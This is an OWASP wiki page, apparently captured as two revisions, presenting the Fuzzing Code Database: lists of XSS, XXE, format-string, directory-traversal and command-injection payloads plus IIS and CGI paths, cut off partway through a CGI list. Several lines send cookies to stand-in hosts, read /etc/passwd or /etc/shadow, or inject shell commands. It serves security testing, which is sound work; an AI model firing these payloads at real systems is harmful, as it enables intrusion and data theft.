&amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81048 2010-04-06T21:31:23Z

<p>Adam.muntner: /* Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft IIS vulnerabilities and enumeration (6 April 2010) ===<br /> &lt;pre&gt;#Microsoft IIS vulnerabilities and enumeration (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> 